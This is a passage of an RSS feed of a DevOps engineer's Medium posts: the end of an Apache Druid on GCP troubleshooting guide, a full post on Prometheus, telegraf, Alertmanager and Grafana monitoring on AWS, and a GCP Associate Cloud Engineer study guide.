druid.</p><p>Maven repository for druid-google-extensions:<a href="https://mvnrepository.com/artifact/org.apache.druid.extensions.contrib/druid-google-extensions"> https://mvnrepository.com/artifact/org.apache.druid.extensions.contrib/druid-google-extensions</a></p><pre>$ sudo java -cp “/opt/druid/lib/*” -Ddruid.extensions.directory=”/opt/druid/extensions” -Ddruid.extensions.hadoopDependenciesDir=”/opt/druid/hadoop-dependencies” org.apache.druid.cli.Main tools pull-deps — no-default-hadoop -c “org.apache.druid.extensions.contrib:druid-google-extensions:0.14.1-incubating”</pre><p>4) Jobs running in Overlord doesn’t show logs</p><p><strong>Error:</strong></p><p>No log was found for this task. The task may not exist, or it may not have begun running yet.</p><p><strong>Solution:</strong></p><p>Overlord stores the logs of ingestion tasks in the deep storage. The error indicates that the indexer.logs property is not configured properly.</p><p>Ensure Overlord machine has access to the indexer.logs.bucket.</p><pre># Indexing service logs — gcs<br>druid.indexer.logs.type=google<br>druid.indexer.logs.bucket=$BUCKET<br>druid.indexer.logs.prefix=druid/indexing-logs</pre><p>5) The MR jobs triggered successfully. However, there was no matching data after completion of mapreduce job.</p><p><strong>Solution:</strong></p><p>After finishing the determine_partitions_hashed MapReduce job and successfully determining the number of partitions, the druid ingestion task fails and states the error as No data found in bucket.</p><p>Typical cause for this issue is that no data was available in the time range mentioned in the ingestion task spec.</p><p>However, we found another cause for this issue in our case. A careful look in the Map Reduce job logs told that the job could not actually write the partitioning info in the default directory(var/druid/hadoop-tmp) determined by the config druid.indexer.task.hadoopWorkingPath in middleManager’s runtime properties.<br>Changing this path to something like /tmp/druid-ingestion solved the issue.</p><p><strong>Co-Author:</strong></p><p><a href="https://www.linkedin.com/in/nipun-jain-4b62228b/">Nipun Jain</a> is a Software Engineer at Zeotap. He has his undergraduate degree majoring in Computer Science from BITS Pilani. He has keen interest in databases and big data pipelines.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=958297374403" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zeotap-customer-intelligence-unleashed/apache-druid-production-setup-in-google-cloud-platform-with-dataproc-cluster-part-1-958297374403">Apache Druid Production Setup in Google Cloud Platform with Dataproc cluster — Part 1</a> was originally published in <a href="https://medium.com/zeotap-customer-intelligence-unleashed">Zeotap — Customer Intelligence Unleashed</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The ZeoTech Series: The Importance of Infrastructure Monitoring]]></title>
            <link>https://medium.com/@kannan_ak/the-zeotech-series-the-importance-of-infrastructure-monitoring-252abd33bf38?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/252abd33bf38</guid>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[alertmanager]]></category>
            <category><![CDATA[prometheus]]></category>
            <category><![CDATA[grafana]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Sun, 15 Dec 2019 07:37:31 GMT</pubDate>
            <atom:updated>2019-12-15T07:37:31.072Z</atom:updated>
            <content:encoded><![CDATA[<p>Monitoring is one of the critical yet under-appreciated aspects of infrastructure. Nobody cares when your servers/applications are running fine, but as soon as your website is down or your application is not responding, the first question that comes to our mind is “‘Why is there no monitoring enabled for this piece?”</p><p>For starters, the purpose of monitoring majorly falls into the below categories:</p><ol><li><strong>Alerting:</strong> the most important thing is knowing when something goes wrong. The first step is alerting humans when a defined event occurs aka when some threshold is breached.</li><li><strong>Debugging:</strong> we refer to this when humans look into the alert, investigate and troubleshoot.</li><li><strong>Trending:</strong> when humans identify the trend of the event, whether it’s an anomaly or expected, ex: how the systems are used and usage changes over time. This helps in RCA and capacity planning.</li></ol><p>At zeotap we use AWS for our cloud infrastructure and our resources are majorly deployed in three regions: Asia Pacific (Mumbai), EU (Ireland) and US (North Virginia). We have on-demand EC2 instances running across all the three regions and we primarily use spot instances for our EMR jobs.</p><p>Earlier we used datadog (enterprise version) for our infra monitoring but we found it expensive as our tech stack grew. We found cloudwatch not flexible enough to monitor our applications, so we decided to go with an open source monitoring tool which would fit our needs much better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9eXPRAUhcwOis4UorwHS_Q.jpeg" /><figcaption>zeotap infrastructure monitoring setup</figcaption></figure><h3>Prometheus</h3><p>Prometheus is a popular open source, metrics-based monitoring system. It is written in GO, so you have a single binary executable, download the binary and run prometheus, as simple as that.</p><p>It stores the metrics scraped in a time series database(TSDB) and provides PROM Query Language (<a href="https://prometheus.io/docs/prometheus/latest/querying/basics/">PromQL</a>) that lets you query over the metrics to see how your applications, services and servers are performing.</p><h3>How Prometheus works</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*pryyQ24i-yGrEviU.png" /></figure><p>The Prometheus service is called Prometheus server and the things it monitor/scrapes are called <strong>targets</strong>. The targets could be a server, service, database, http endpoint, script etc. Each unit of a target such as CPU, memory, disk, network usage is called a <strong>metric</strong>. These metrics should be exposed in a prometheus format.</p><p>Prometheus works on pull approach. It <strong>pulls/scrapes metrics from the targets over the HTTP </strong>on regular intervals and stores the metric in TSDB. The metric stored can be queried in the Prometheus UI or we can integrate it to Grafana for rich visualization.</p><p>Prometheus has a configuration file called prometheus.yml, where you can specify the scrape interval, alert rules, and targets under scrape configs.</p><p>You can create multiple jobs under scrape_configs such as</p><ul><li>job_name: EC2 metrics,</li><li>job_name: DB metrics</li></ul><p>and specify the respective targets under them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2nQaPj-DOtZecI0KfBnpg.png" /><figcaption>In this example, Prometheus scrapes itself.</figcaption></figure><p>You can simply query the metrics stored in prometheus TSDB by typing PromQL expression in the prometheus UI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YdL5JH02QtNGpBovX6loGA.png" /><figcaption>prometheus UI where we can query the metrics</figcaption></figure><p><strong>How the metrics can be generated in prometheus format</strong></p><p>Prometheus provides client libraries in all popular languages which you can instrument in your own code. Some of the popular softwares like Kubernetes and docker are already instrumented with Prometheus client libraries. For other applications, we can use third party integrations to expose their metrics to prometheus.</p><p>These third-party integration tools are called exporters. They collect the system, application metrics and report them in a Prometheus format on a specified port and path. It has to be installed in respective machines where you want to expose metrics to be monitored by prometheus.</p><p>For example, servers don’t have any mechanism to expose metrics (system stats such as cpu, memory, disk) in prometheus format, so we can use an exporter to get those metrics.</p><p>At zeotap, we use an exporter tool called <a href="https://www.influxdata.com/time-series-platform/telegraf/">telegraf</a> from influxdata. The reason we chose telegraf is, it has integration with all the major softwares Aerospike, Elasticsearch, Mesos, Kafka, Zookeeper which are part of zeotap’s tech stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*5uGXZN88jocbTYGC" /></figure><p>Below block is a configuration file of telegraf agent.</p><p>The telegraf agent runs at the interval of 60s, it collects host metrics such as CPU, disk, memory, network stats, etc., and outputs it in a Prometheus format on the port “:9999” and in the path “/metrics”.</p><pre>[global_tags]<br>  type = &quot;EC2&quot;</pre><pre>[agent]<br>  interval = &quot;60s&quot;<br>  round_interval = true<br>  metric_batch_size = 1000<br>  flush_interval = &quot;60s&quot;<br>  debug = false<br>  quiet = true<br>  logfile = &quot;/var/log/telegraf/telegraf.log&quot;</pre><pre>[[outputs.prometheus_client]]<br>  listen = &quot;:9999&quot;<br>  path = &quot;/metrics&quot;<br>  expiration_interval = &quot;60s&quot;</pre><pre>[[inputs.cpu]]<br>  percpu = true</pre><pre>[[inputs.disk]]<br>  ignore_fs = [&quot;tmpfs&quot;, &quot;devtmpfs&quot;, &quot;devfs&quot;]</pre><pre>[[inputs.mem]]</pre><pre>[[inputs.net]]</pre><p>If we hit the “ipaddress or hostname:9999/metrics” we can see the metrics exposed by telegraf agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*dES5HJR7uuary49HTkH-Nw.png" /><figcaption>Host metrics exposed by telegraf agent</figcaption></figure><p>Telegraf agent updates the metrics as per the interval specified in the telegraf.conf.</p><p>Prometheus scrapes these metrics in an interval defined in the prometheus.yml and stores the data locally in a custom TSDB.</p><h3>Service Discovery</h3><p>So far, we have seen how Prometheus works and how a target can expose their metrics to Prometheus.</p><p>In the Prometheus section, we learned that we can specify the targets under scrape_configs. This is easy to do when you have a handful of servers. What if you have 100s of servers though? Manually adding all the server names in prometheus.yml is not scalable.</p><p>Prometheus has a service discovery feature which allows prometheus to automatically discovers the new instances and scrapes them without manual intervention. We tried using Consul (service discovery tool), but it requires separate agent to be installed in all the target machines. We wanted to go for an agent-less mechanism for service discovery.</p><p>As our infrastructure runs on AWS, we use EC2 service discovery in our monitoring setup. We have created an IAM role with EC2ReadOnlyAccess and attached in our Prometheus server.</p><p>Below code block shows the config to discover the EC2 instances in eu-west-1 region.</p><p>We have added tags “Environment=production” ‘Monitoring = yes” in all of our production instances.</p><p>So when Prometheus queries our EC2 instances in the EU region, AWS provides all list of instances in EU. Prometheus then checks whether the instances are having the tags “Environment=production, Monitoring=yes”. It will drop the instances which don’t have the tags, from its targets list and start scraping the matching instances.</p><p>We are passing tag keys ‘Team, Application, Owner, Role, Project’ as metadata which will be added as a label to the metrics of the targets. This helps us in querying the list of instances belong to particular team, projects.</p><pre>scrape_configs:<br><br>  - job_name: &#39;EC2-EU-region&#39;<br>    ec2_sd_configs:<br>      - region: eu-west-1<br>        port: 9999<br>        refresh_interval: 10m<br>    relabel_configs:<br>      - source_labels: [&#39;__meta_ec2_tag_Environment&#39;]<br>        regex: &#39;production&#39;<br>        action: keep<br>      - source_labels: [&#39;__meta_ec2_tag_Monitoring&#39;]<br>        regex: &#39;yes&#39;<br>        action: keep<br>      - source_labels: [&#39;__meta_ec2_availability_zone&#39;]<br>        target_label: &#39;Zone&#39;<br>      - source_labels: [&#39;__meta_ec2_private_ip&#39;]<br>        target_label: &#39;instance&#39;<br>      - source_labels: [&#39;__meta_ec2_tag_Team&#39;]<br>        target_label: &#39;Team&#39;<br>      - source_labels: [&#39;__meta_ec2_tag_Application&#39;]<br>        target_label: &#39;Application&#39;<br>      - source_labels: [&#39;__meta_ec2_tag_Name&#39;]<br>        target_label: &#39;Name&#39;<br>      - source_labels: [&#39;__meta_ec2_tag_Role&#39;]<br>        target_label: &#39;Role&#39;<br>      - source_labels: [&#39;__meta_ec2_tag_Owner&#39;]<br>        target_label: &#39;Owner&#39;<br>      - source_labels: [&#39;__meta_ec2_instance_state&#39;]<br>        target_label: &#39;Instance_Status&#39;<br>      - source_labels: [&#39;__meta_ec2_instance_type&#39;]<br>        target_label: &#39;Instance_Type&#39;</pre><p>This is customizable and Prometheus allows you to configure how metadata from service discovery is mapped to monitoring targets and their labels using <em>relabelling. </em>You can add a tag with key ‘monitoring_worthy’, value as ‘yeah’ or ‘nah’ and tell Prometheus to keep only ‘yeah’ and drop ‘nah’.</p><p>Refresh interval indicates that this service discovery happens every 10 minutes, so any new instance provisioned with above tags will be discovered in 10 minutes. Likewise if the instance is terminated, it will be removed from AWS, so when the refresh happens, the instance will not be identified and Prometheus will not scrape it.</p><p>We are using terraform to provision instances with necessary tags and run Ansible playbook to install/configure telegraf in the instances. So this way the monitoring configuration for instance is done in less than 5 minutes and the instance comes under monitoring in 10 minutes.</p><h3>Alerting</h3><p>We have got instances (targets) which are exposing metrics using telegraf agent (exporters), EC2 service discovery to provide the list of targets to prometheus, prometheus is configured to scrape the metrics from the targets, so the only missing piece is alerting.</p><p>Alerting with Prometheus is separated into two parts.</p><ul><li>Alerting rules in Prometheus send alerts to an Alertmanager.</li><li>The <a href="https://prometheus.io/docs/alerting/alertmanager">Alertmanager</a> then manages those alerts, including silencing, aggregation and sending out notifications via methods such as email, PagerDuty and Slack.</li></ul><p>The main steps to setting up alerting and notifications are:</p><ul><li>Create <a href="https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/">alerting rules</a> in Prometheus</li><li><a href="https://prometheus.io/docs/prometheus/latest/configuration/configuration/#%3Calertmanager_config">Configure Prometheus</a> to talk to the Alertmanager</li><li>Setup and <a href="https://prometheus.io/docs/alerting/configuration">configure</a> the Alertmanager</li></ul><p><strong>Alerting rules:</strong></p><p>Alerting rules allow you to define alert conditions based on PromQL and attach a severity label.</p><p>Below is an example rule, to alert if disk usage percent is above 95 for 15 minutes.</p><pre>- alert: Critical Disk usage<br>    expr: disk_used_percent &gt; 95<br>    for: 15m<br>    labels:<br>      severity: page<br>    annotations:<br>      summary: &quot;Critical disk usage &gt; 95%&quot;<br>      description: &quot;Critical disk usage on host {{$labels.instance}} : (current value: {{ $value }}).&quot;</pre><p>This alert rule file has to specified in the prometheus.yml.</p><p>Prometheus evaluates the rules as per evaluation interval and if any one of the alert is triggered, it will forward the alert with severity label to the alertmanager, configured under alerting section.</p><pre># Alertmanager configuration<br>alerting:<br>  alertmanagers:<br>    - scheme: http<br>    static_configs:<br>      - targets:<br>        - &#39;alertmanager-ipaddress:9093&#39;</pre><pre>rule_files:<br>  - &quot;/etc/prometheus/alertmanager/hostmetrics_rules.yml&quot;</pre><p><strong>Alert Manager:</strong></p><p>The a<a href="https://github.com/prometheus/alertmanager">lertmanager</a> installation is as straightforward as prometheus. It comes up with an executable binary file and a configuration file. Alertmanager can be installed in the same instance where prometheus is running.</p><p>In configuration, you can specify the receiver of the alerts (team that needs to be notified) and the communication channels (pagerduty, email, slack) based on the severity of the alert.</p><p>We are using three channels for alerting — slack for all types of alerts, email for critical alerts and pagerduty for severe alerts (if the application is down, or the instance is down).</p><p>Below block is the configuration of alertmanager.</p><pre>route:<br>  repeat_interval: 3h<br>  receiver: slack-notifications<br>  routes:<br>    - match:<br>        severity: warning<br>      repeat_interval: 1h<br>      continue: true<br>      receiver: slack-notifications<br>    - match:<br>        severity: critical<br>      repeat_interval: 30m<br>      continue: true<br>      receiver: slack-notifications<br>    - match:<br>        severity: page<br>      repeat_interval: 10m<br>      continue: true<br>      receiver: slack-notifications<br>    - match:<br>        severity: critical<br>      repeat_interval: 30m<br>      continue: true<br>      receiver: email-notifications<br>    - match:<br>        severity: page<br>      repeat_interval: 5m<br>      continue: true<br>      receiver: pagerduty-notifications</pre><pre>receivers:<br>  - name: slack-notifications<br>    slack_configs:<br>      - channel: &#39;prometheus-alerts&#39;<br>        api_url: &#39;&#39;<br>        send_resolved: true<br>        icon_url: <a href="https://avatars3.githubusercontent.com/u/3380462">https://avatars3.githubusercontent.com/u/3380462</a><br>        title: &#39;{{ template &quot;custom_title&quot; . }}&#39;<br>        text: &gt;-<br>          {{ range .Alerts }}<br>            *Alert:* {{ .Annotations.summary }} - `{{ .Labels.severity }}`<br>            *Description:* {{ .Annotations.description }}<br>            *Details:*<br>            {{ range .Labels.SortedPairs }} *{{ .Name }}:* `{{ .Value }}`<br>            {{ end }}<br>          {{ end }}</pre><pre>- name: email-notifications<br>    email_configs:<br>      - to: <a href="/service/mailto:team.dev-ops@zeotap.com">r</a>eceiver@example.com<br>        from: <a href="/service/mailto:alerts@zeotap.com">alerts@example.com</a><br>        smarthost: &quot;smtp.sendgrid.net:587&quot;<br>        send_resolved: true</pre><pre>- name: pagerduty-notifications<br>    pagerduty_configs:<br>      - service_key: &quot;&quot;</pre><p>Below is one of the alert notifications we received on Slack for the critical disk usage event in one of the servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gfSlQcCVCezUeObO5kCTTw.png" /></figure><p><strong>Grafana</strong></p><p>As we mentioned in the introduction, trending helps you to identify how your systems, applications performing over time. Though prometheus comes up with a graph console it is not user friendly.</p><p>Grafana is an open source metric analytics &amp; visualization suite. It is most commonly used for visualizing time series data for infrastructure and application analytics. We can integrate Grafana with prometheus and visualize the metrics captured by prometheus.</p><p>All we have to do is add prometheus as a data source and create dashboards for the important metrics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jlG9Ps7ewG8FHu8xdXsAYg.png" /><figcaption>Grafana dashboards</figcaption></figure><p>For dashboard graphs, you can use the same PromQL expression (ex: disk_used_percent, cpu_usage_user).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*okwC6w2vTiWFllM2iYtbQw.png" /><figcaption>Creating Graph</figcaption></figure><p>Grafana supports variables, so you can specify metric labels as variables (region, application, instance) and pass the variables in the PromQL expression which enables multi selection in the graphs.</p><h3>Summary</h3><p>Monitoring ideally should liberate the ops engineers from spending time in monitoring systems, applications and notify only when human intervention is required. One should not spend every day adding, removing servers to monitoring and it should be taken care of by the system itself. It should be flexible enough to customize the alerts, versatile enough to monitor servers, applications, services, processes, etc, and not to mention, it should not burn too much of your company’s money either.</p><p>We found that Prometheus with the combination of telegraf, alertmanager, grafana is ticking all the boxes for us (opensource, customisable, alerts integration, visualisation) and the cherry on top is that we are running this in a single t2.medium instance.</p><h3>About The Author</h3><p>Kannan Anandakrishnan is a devops Engineer with 7 years of experience in managing large infrastructures and data platforms.</p><p>He is a Senior DataOps Engineer at zeotap, currently managing the infrastructure of zeotap with keen focus on Infrastructure as Code, building immutable infrastructure and automation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=252abd33bf38" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I passed GCP Associate Cloud Engineer certification]]></title>
            <link>https://medium.com/@kannan_ak/how-i-passed-gcp-associate-cloud-engineer-certification-86b11b333183?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/86b11b333183</guid>
            <category><![CDATA[gcp-certification]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[google-cloud]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Mon, 09 Sep 2019 03:35:49 GMT</pubDate>
            <atom:updated>2019-09-09T03:35:49.199Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ggd4wzpBc12jB8Qj7JOeWA.png" /></figure><p>I attended the Google cloud summit Bangalore’19 which piqued my interest in Google Cloud Platform. Given the interest and demand around multi-cloud experience in the industry, I decided to dive in.</p><p>I’ve 3+ years of managing cloud infrastructure in AWS, so I’m familiar with the concept of Compute, Storage, Networking offerings in Cloud platforms.</p><p><strong>Coursera Specialization</strong></p><p>One of the advantages of attending summits, events is you get to meet different people, gain industry knowledge which you might not get in the work. Coursera had a live talk and booth on Google Cloud courses offering.</p><p>I got to talk to one of their representatives, enquired him about how should I get into GCP, given I have working experience in AWS. He recommended to checkout the Coursera course — ‘<a href="https://www.coursera.org/learn/gcp-fundamentals-aws">GCP for AWS professionals</a>’, which gave me a good overview of GCP’s main offerings in comparison with AWS offerings.</p><p>Then I did the complete Coursera Specialization of <a href="https://www.coursera.org/specializations/gcp-architecture">Architecting with Google Cloud Platform Specialization</a>.</p><p>This specialization has 6 courses with many Qwiklabs practical labs. The labs really helped me in understanding how to create compute instances, GKE, subnets, firewalls, IAM roles etc. The videos are short and crisp (2–3 mins), they wasted no time and gave me good hands on experience in all the main services of GCP. I finished all the 6 courses in a month to complete the specialization in the free month itself. Looking back, I feel I shouldn’t rushed it as I could’ve absorbed more knowledge by taking it slowly.</p><p>Use this link to get 1 month free on the specialization: <a href="https://www.coursera.org/promo/summit19">https://www.coursera.org/promo/summit19</a></p><p><strong>Linux Academy and ACloudGuru</strong></p><p>The Coursera specialisation is designed to give you deep exposure on GCP’s services and not specifically tailored towards the certification. Since my objective is to do the GCP certification, I checked out the certification courses offered by the usual suspects “Linux Academy” and “Acloudguru”.</p><p>Both courses helped me to learn how to provision services/resources, interacting with GCP in CLI/SDK, day to day operations stuff, etc.</p><p>Linux Academy: <a href="https://linuxacademy.com/course/google-cloud-certified-associate-cloud-engineer/">https://linuxacademy.com/course/google-cloud-certified-associate-cloud-engineer/</a></p><p>Acloudguru: <a href="https://acloud.guru/learn/gcp-certified-associate-cloud-engineer">https://acloud.guru/learn/gcp-certified-associate-cloud-engineer</a></p><p><strong>Exam Guide</strong></p><p>GCP associate cloud engineer certification is designed to test your knowledge on creating/managing projects/billing accounts, IAM, deploying applications, using console/cli to perform operations, monitoring and high-level understanding of all service offerings.</p><p><strong>Projects</strong>: Organizational hierarchy — Organization, Folders, Projects, Resources. How to create, manage projects, move projects to a folder, create project level permissions, services bound to projects scope.</p><p><strong>Billing accounts</strong>: Create/manage billing accounts, move projects to new billing accounts, how to set up budgets/alerts for the billing accounts, billing exports.</p><p><strong>IAM</strong>: Important topic. Create users, groups, service accounts — assign IAM roles to them. Different types of IAM roles, creating custom IAM roles, copy an IAM role to different project, when to use. Always provide a solution based on least privilege principle.</p><p><strong>Service accounts: </strong>How to create service accounts, assign roles to them, assign service account to an instance, limit service accounts scopes.</p><p><strong>CLI</strong>: Very important one. You should be familiar with general gcloud cli commands. How to configure default zone/region/project, switch between multiple profiles, projects, launch an instance, deploy cloud functions, create a pod/deployment in kubernetes.</p><p><strong>Pricing calculator</strong>: To determine the price/approximate cost of the resources. This is not an exact cost, just an estimate.</p><p><strong>Compute</strong></p><p>Fully customisable to Fully managed: Compute engine, Kubernetes engine, App engine, Cloud functions in that order. Choose the appropriate choice given the scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNrgDuhcHO2C_r9ucWyJJQ.png" /><figcaption>Source: Coursera.org *Cloud functions no longer in beta.</figcaption></figure><p>Compute engine: What instance type to choose, how to launch instance using console and glcoud, add ssh key to an instance (project wise), create an autoscaling managed instance group using instance template, taking snapshots of disks, creation of image using snapshots/disks/custom ami, etc</p><p>Kubernetes Engine: Deploy a GKE cluster, list and deploy pod/deployments/services, resizing nodes/pods, auto upgradation of GKE nodes. Relevant gcloud, kubectl cli commands. Usage of GCR.</p><p>App Engine: Standard vs Flexible — which one to choose. How to split traffic between two versions, roll back to previous version.</p><p>Cloud Functions: Deploy a cloud function, supported languages, CF trigger — pub/sub events, schedule, http request, Cloud storage object change notification.</p><p><strong>Storage:</strong></p><p>SQL offerings: Cloud SQL, Cloud Spanner</p><p>No-SQL: Cloud datastore, Cloud Big table</p><p>Blob: Cloud storage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwftlXctakJ_kR2fE7CQ7A.png" /><figcaption>Source: coursera.org</figcaption></figure><p>Cloud storage classes: Multi-regional, regional, nearline, coldline. Know what are the features/use cases of each classes. How to set acl, make bucket/objects public, create signed urls, setup lifecycle policies, using gsutil cli to perform cloud storage operations, etc.,</p><p><strong>Network</strong></p><p>Network resources: How to create VPC with subnets (auto, custom mode), expand the subnets, use network tags, firewall rules, static ip address, different Load balancer options — global vs regional, external vs internal load balancers.</p><p>Add a subnet to existing vpc, create a vpn between google vpc and external network, cloud DNS.</p><p><strong>Monitoring</strong></p><p>Stack driver: Important topic. How to create stackdriver alerts, create custom metrics, viewing logs, debug an application issue, tracing, exporting logs to Bigquery/Cloud storage, uptime checks, etc.,</p><p><strong>Others</strong></p><p>Cloud launcher: Use case of cloud launcher marketplace solution. Readily available pre-baked images.</p><p>Deployment manager: Supported formats — Python, jinja2, yaml. How to deploy/update using cli.</p><p><strong>Summary</strong></p><p>Google associate cloud engineer certification tests your fundamental knowledge of cloud computing and offerings of GCP. One should be familiar with all the offerings, use cases, perform day to day operations using cli/gcloud.</p><p>I hope you find this post useful. Feel free to share your questions, comments and feedback.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86b11b333183" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>